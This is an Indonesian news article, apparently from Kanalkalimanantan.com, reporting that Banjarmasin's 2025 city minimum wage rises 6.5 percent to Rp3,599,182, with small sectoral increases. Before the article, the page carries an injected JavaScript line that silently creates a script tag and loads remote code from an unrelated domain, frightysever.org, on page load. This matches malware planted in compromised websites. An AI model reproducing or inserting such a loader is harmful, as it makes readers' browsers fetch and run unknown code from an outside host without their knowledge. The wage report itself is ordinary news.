(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

UMK Banjarmasin Naik Menjadi Rp3,59 Juta

KANALKALIMANTAN.COM, BANJARMASIN – Setelah Upah Minimun Provinsi (UMP) Kalimantan Selatan (Kalsel) tahun 2025 disepakati menjadi Rp3.496.194 atau naik sebesar 6,5 persen, giliran pembahasan Upah Minimum Kota/Kabupaten (UMK).

Di Kota Banjarmasin, kenaikan UMK tahun 2025 telah ditetapkan dan diusulkan.

Wali Kota Banjarmasin H Ibnu Sina menyampaikan, penetapan UMK Kota Banjarmasin 2025 disepakati naik 6,5 persen.

Dengan kenaikan itu, sehingga untuk tahun 2025, upah minimum di Kota Seribu Sungai berada pada angka Rp3.599.182.

Jika dikalkulasi, kenaikan UMK Banjarmasin sekitar Rp220 ribu. Dari yang sebelumnya Rp3.379.513 pada tahun 2024.

“Untuk 2025 itu disepakati kenaikan 6,5 persen, sehingga UMK Banjarmasin diangka Rp3.599.182,” kata Ibnu Sina melalui akun Instagram pribadi, Sabtu (14/12/2024) siang.

Ibnu Sina mengungkapkan, kesepakatan menaikan UMK 2025 Kota Banjarmasin kemudian diusulkan kepada Pelaksana Tugas (Plt) Gubernur Kalsel H Muhidin untuk mendapat persetujuan.

“Sesegeranya ini kita usulkan kepada gubernur untuk di-SK-kan,” sebutnya.

Selain UMK, Wali Kota Banjarmasin juga menyebut kesepakatan Upah Minimun Sektoral (UMS).

Ada tiga yg disepakati naik, diantaranya sektor perbankan naik Rp10.500, perhotelan Rp4.000, dan sektor perkayuan naik di angka 2.500.

Penetapan kenaikan UMK tersebut merupakan hasil rapat bersama Dewan Pengupahan Kota Banjarmasin. (Kanalkalimanantan.com/rizki)

Reporter: rizki
Editor: bie